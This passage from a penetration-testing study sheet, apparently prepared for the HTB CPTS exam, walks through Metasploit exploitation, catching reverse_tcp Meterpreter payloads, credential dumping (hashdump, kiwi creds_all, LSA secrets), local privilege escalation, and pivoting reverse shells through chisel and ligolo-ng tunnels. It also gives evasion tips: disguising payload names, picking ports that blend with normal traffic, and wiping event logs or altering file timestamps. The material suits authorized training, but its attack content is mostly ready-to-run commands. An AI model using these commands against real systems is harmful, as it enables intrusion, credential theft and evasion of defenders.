    372 > - `Ctrl+C` in a raw shell kills the *shell process*, not the foreground command — one careless Ctrl+C = reconnect from scratch. After the `stty raw -echo; fg` dance, Ctrl+C works normally again.
    373 > - If the shell still echoes double after upgrade, my local `stty` didn't take — re-run `stty raw -echo` and hit Enter once to resync.
    374 
    375 ---
    376 
    377 ### Metasploit workflow (search → info → set → run)
    378 
    379 **What to look for** → a version-specific service from recon (STAGE 1) that maps to a known MSF module, or an external payload I need to catch. Enumeration comes first — MSF is a tool in the chain, not "click to win." Deep dives: 4 - Modules · 6 - Payloads · 8 - Databases.
    380 
    381 **Enumerate + select**
    382 ```bash
    383 msfconsole -q                                   # skip the banner
    384 # (optional) DB-backed: sudo msfdb init; then inside → db_status; workspace -a BOX; db_nmap -sCV $IP; hosts; services
    385 search eternalromance                           # by keyword (matches Name/desc)
    386 search type:exploit platform:windows cve:2021 rank:excellent   # stack filters, all AND-ed
    387 search -S proxylogon                            # regex filter a big result set
    388 use 0                                           # pick by index no. (or full path)
    389 info                                            # ALWAYS read before firing — mechanism, refs, side effects
    390 options                                         # Required:yes fields must be set
    391 ```
    392 
    393 **Configure + fire**
    394 ```bash
    395 setg RHOSTS $IP            # global — persists across module swaps (same target run)
    396 set  LHOST tun0           # accepts an INTERFACE name, not just an IP
    397 set  LPORT 443
    398 show targets; set target 6   # override Automatic once I know the exact build
    399 # swap/inspect the attached payload:
    400 grep meterpreter show payloads      # built-in grep to trim hundreds of rows
    401 set payload windows/x64/meterpreter/reverse_tcp
    402 run                        # (alias: exploit). Add -j to run as a background job (keeps the port/listener alive)
    403 ```
    404 
    405 > [!warning] Watch out
    406 > - **`set` vs `setg`**: `set` dies on module change; `setg` sticks until console restart — use `setg RHOSTS`/`setg LHOST` when chaining several modules at one host.
    407 > - `local_exploit_suggester` "appears to be vulnerable" ≠ guaranteed — it's a candidate list, try them in turn; "service running, could not be validated" is a weaker maybe.
    408 > - If a module isn't installed, drop the `.rb` from Rapid7's GitHub into `/usr/share/metasploit-framework/modules/exploits/<os>/<svc>/` and `reload_all`.
    409 > - `check` before `run` when the module supports it — some exploits are single-shot (crash the service, lose the box).
    410 
    411 ---
    412 
    413 ### Catch an external payload — multi/handler
    414 
    415 **What to look for** → I delivered a payload *outside* any MSF exploit module (msfvenom file via upload/FTP/web) and need MSF to catch the callback (for the meterpreter toolkit).
    416 
    417 **Exploit**
    418 ```bash
    419 msf6 > use exploit/multi/handler
    420 msf6 > set payload windows/meterpreter/reverse_tcp   # MUST equal the msfvenom -p string exactly
    421 msf6 > set LHOST $LHOST ; set LPORT 1337
    422 msf6 > set ExitOnSession false      # don't drop the handler when one session dies — keep catching
    423 msf6 > run -j                       # -j = background job, survives while I trigger the payload
    424 # now trigger: browse to http://$IP/shell.aspx  (or run the .exe/.elf / deploy the .war)
    425 ```
    426 
    427 > [!warning] Watch out
    428 > The handler payload has to be **byte-identical in type** to what msfvenom built — staged↔stageless, tcp↔https, x86↔x64 all matter. A mismatch = "sending stage" then silence, or an instant dead session. Same `LPORT` on both sides. `ExitOnSession false` is the fix for "I got one session, it died, and now nothing catches my re-trigger."
    429 
    430 ---
    431 
    432 ### Sessions, jobs & Meterpreter post-ex
    433 
    434 **What to look for** → a live session I want to keep while I pivot to other work, and the meterpreter command surface once I've landed. Deep dives: 10 - Sessions and Jobs · 11 - Meterpreter · cheatsheet meterpreter.
    435 
    436 **Manage sessions/jobs**
    437 ```bash
    438 # inside a session: background it WITHOUT killing it
    439 meterpreter > background          # or bg / [Ctrl]+[Z]
    440 msf6 > sessions                   # list all footholds (like browser tabs)
    441 msf6 > sessions -i 1              # re-enter session 1
    442 msf6 > jobs -l                    # running handlers/jobs
    443 msf6 > jobs -k 0                  # kill one job (frees its port); jobs -K = kill all
    444 ```
    445 
    446 **Meterpreter quick-ref**
    447 
    448 | Command | What it does |
    449 |---|---|
    450 | `getuid` / `sysinfo` / `getprivs` | who / where / what privs am I |
    451 | `ps` | find a juicier process to target |
    452 | `steal_token <pid>` | impersonate its token (no migrate) — fast priv bump |
    453 | `migrate <pid>` | move into a stable/privileged process |
    454 | `getsystem` | try built-in SYSTEM escalations |
    455 | `hashdump` | local SAM LM/NTLM (needs SYSTEM) |
    456 | `load kiwi` + `creds_all` | mimikatz-equiv (SAM/LSA/cached/tickets) — supersedes hashdump |
    457 | `lsa_dump_sam` / `lsa_dump_secrets` | LSA secrets → service-account plaintext (lateral fuel) |
    458 | `upload <f>` / `download <f>` | file transfer over the encrypted channel (see [note 04](/sheets/pentest-workflow/foothold-file-transfers)) |
    459 | `portfwd add -l 3300 -p 3389 -r <ip>` | forward one internal port to my localhost |
    460 | `run post/...` | run a post module against this session |
    461 | `shell` | drop to a native cmd.exe/bash channel when meterpreter falls short |
    462 | `execute -f cmd.exe -i -H` | spawn a hidden interactive process |
    463 | `run post/multi/gather/...` | loot modules against this session |
    464 | `resource <script.rc>` | replay a saved command set inside the session |
    465 | `clearev` | wipe Windows event logs — **loud & destructive; rarely in scope** |
    466 | `webcam_list` / `screenshot` | situational awareness on user workstations (scope-dependent) |
    467 | `timestomp <f>` | alter file MAC times — forensic-evasion, rarely scoped |
    468 
    469 **Local privesc via a backgrounded session**
    470 ```bash
    471 meterpreter > bg
    472 msf6 > use post/multi/recon/local_exploit_suggester
    473 msf6 > set SESSION 1 ; run                     # post modules take SESSION, not RHOSTS
    474 msf6 > use exploit/windows/local/ms15_051_client_copy_image
    475 msf6 > set SESSION 1 ; set LPORT 1338 ; run    # fresh LPORT avoids collision with the first handler
    476 ```
    477 
    478 > [!warning] Watch out
    479 > - `getuid` → **"Access is denied"** means low-priv context (web app pool), **not** a broken session — check `ps` for a better token before reaching for a full local exploit.
    480 > - `meterpreter > whoami` fails ("Unknown command") — it's not a Windows CLI, use `getuid`. Use `shell` when you genuinely need native commands.
    481 > - **Never `Ctrl+C` a live handler** — it can leave the port bound with no usable session. Background with `bg`/`jobs`, kill with `jobs -k`.
    482 > - `kiwi` needs the session to be **x64 + SYSTEM** for full cred material; on x86 sessions `migrate` into an x64 process first.
    483 
    484 ---
    485 
    486 ### Pivot with a Meterpreter session (autoroute / portfwd / SOCKS)
    487 
    488 **What to look for** → a compromised host with a second NIC / route into an internal subnet I can't reach directly. This is the **MSF-native** pivot; for raw L3 (full nmap, no proxychains) I prefer **Ligolo-ng / Chisel in STAGE 10** — use this when I'm already living in msfconsole. Full tables: Tunneling.
    489 
    490 **Exploit**
    491 ```bash
    492 # route MSF's own traffic through session 1 into the internal net
    493 meterpreter > run autoroute -s 172.16.5.0/24        # quick form
    494 meterpreter > bg
    495 msf6 > use post/multi/manage/autoroute              # module form
    496 msf6 > set SESSION 1 ; set SUBNET 172.16.5.0 ; run
    497 # forward a single internal port to my localhost (e.g. reach internal RDP)
    498 meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19   # then: xfreerdp /v:127.0.0.1:3300 ...
    499 # full SOCKS so ANY external tool reaches the internal net
    500 msf6 > use auxiliary/server/socks_proxy
    501 msf6 > set SRVPORT 1080 ; set VERSION 5 ; run -j
    502 #   /etc/proxychains4.conf → socks5 127.0.0.1 1080
    503 proxychains nmap -sT -Pn -n -p445,3389,5985 172.16.5.19
    504 proxychains evil-winrm -i 172.16.5.19 -u "$U" -p "$P"
    505 ```
    506 
    507 > [!warning] Watch out
    508 > - `autoroute` only routes traffic **originating inside MSF** — external tools (nmap, evil-winrm, impacket) need the `socks_proxy` + `proxychains` combo, not just the route.
    509 > - **SOCKS is TCP-only** → nmap through it must be `-sT -Pn -n` (no SYN, no ICMP) or you get empty results — same constraint as the chisel/Ligolo SOCKS path in STAGE 10.
    510 > - `portfwd` is per-port and stacks up fast; for sweeping an internal subnet, a full SOCKS proxy (or Ligolo's L3 interface) beats a pile of forwards.
    511 
    512 ---
    513 
    514 ### Callbacks through a pivot — ligolo-ng & chisel
    515 
    516 **What to look for** → I've pivoted to an internal segment (Stage 10) and now need shells *from those internal hosts* to reach my MSF/nc listeners. The traffic has to ride the tunnel **back** — this is the "callback through the pivot" pattern. Full setup lives in [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot); the shell-side notes here.
    517 
    518 > [!tools] Stage this (from `attachments/`)
    519 > [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc))
    520 > [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc))
    521 > [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc))
    522 > [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc))
    523 > [ligolo-ng](https://github.com/nicocha30/ligolo-ng) agents (per-OS) for TUN-based L3 pivoting, and [chisel](https://github.com/jpillora/chisel) binaries for TCP/UDP-over-HTTP tunnels + reverse SOCKS.
    524 
    525 ```bash
    526 # ── chisel reverse SOCKS (pivot host calls OUT to me; I reach in via SOCKS) ──
    527 chisel server -p 8443 --reverse                       # Pwnbox
    528 chisel client $LHOST:8443 R:socks                     # pivot host → SOCKS5 on 127.0.0.1:1080
    529 # ── catching a shell from a DEEP internal host: chisel remote port-forward ──
    530 chisel client $LHOST:8443 R:4444:127.0.0.1:4444       # deep host dials Pwnbox:4444 via pivot
    531 # ── ligolo-ng: add a listener on the agent that relays to my handler ──
    532 ligolo-ng » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444   # in the agent session
    533 # now generate payloads with LHOST=<pivot host's internal IP> LPORT=4444 — the callback
    534 # lands on the agent's listener and relays down the tunnel to my nc/multi-handler.
    535 ```
    536 
    537 > [!tip] CPTS tip
    538 > The gotcha that eats exam time: payloads generated for internal hosts must call back to an IP **the internal host can reach** (the pivot/agent IP), *not* my tun0. Then the agent's `listener_add` (ligolo-ng) or `R:port` (chisel) relays it to my real listener. Draw the path once on paper: `internal host → pivot IP:4444 → tunnel → my 4444`.
    539 >
    540 > Also: ligolo-ng needs its **proxy** running on my box and a TUN interface up (`sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up`, then `start` in the proxy session) before agents can dial back — the "agent connects but no routes work" failure is almost always a missing `ip route add <internal>/24 dev ligolo`. Full sequence in [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot).
    541 
    542 ---
    543 
    544 ### OPSEC & shell hygiene (wrap-up)
    545 
    546 > [!example] CPTS exam flow in 6 steps
    547 > 1. Get execution primitive (web shell / RCE) → 2. listener up on 443 → 3. fire the reverse one-liner matching the target's interpreters → 4. TTY upgrade (`python3 -c 'import pty;...'` + `stty raw -echo; fg` + rows/cols) → 5. if post-ex needed, msfvenom + multi/handler (`ExitOnSession false`) → 6. enumerate toward [Stage 09](/sheets/pentest-workflow/privilege-escalation), loot toward [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). Practise the whole chain until it's muscle memory — the exam clock punishes re-reading this note.
    548 
    549 - **Payload naming (T1036):** `shell.exe`/`met.exe` are triage bait. Rename to plausible system-ish names and log the mapping in notes.
    550 - **Port choice:** 443/80 blend with egress; 4444/1337 are watchlisted outside labs. One port per listener; record `port → payload → target`.
    551 - **Staged vs stageless reliability:** staged meterpreter is smaller but dies on lossy tunnels mid-stage; stageless singles survive rough links and can be caught by bare `nc` — choose per link quality, not habit.
    552 - **Plaintext shells are wire-visible:** `bash -i >& /dev/tcp/...` is trivially readable by any IDS. Prefer `openssl`/socat-TLS or meterpreter `reverse_https` when inspection is a risk.
    553 - **Webshells and payloads on disk are IOCs:** delete dropped `.php`/`.aspx`/`.exe` artifacts at the end, kill leftover bind listeners, and note every planted file for the report (T1070.004).
    554 - **Sessions are perishable:** services restart, webshells get wiped, AV eats payloads. Get enumeration data (and loot) off the box *early* rather than assuming the shell survives the night.
    555 - **Track the shell inventory:** one line per live shell in notes — `host / user-context / catch port / payload type / staged artifact path`. When the engagement report needs "what ran where" for ATT&CK mapping, this list is the source of truth.
    556 - **Exit cleanly:** background or `exit` sessions deliberately, kill handlers via `jobs -k`, and confirm no stray bind listeners remain on targets (`ss -lntup` / `netstat -ano` where reachable).
    557 
    558 ---
    559 
    560 > [!navigation] Continue the attack flow
    561 > **Previous:** [Foothold Toolkit — File Transfers](/sheets/pentest-workflow/foothold-file-transfers)
    562 >
    563 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
    564 >
    565 > **Next:** [Stage 03 — Service Enumeration](/sheets/pentest-workflow/service-enumeration)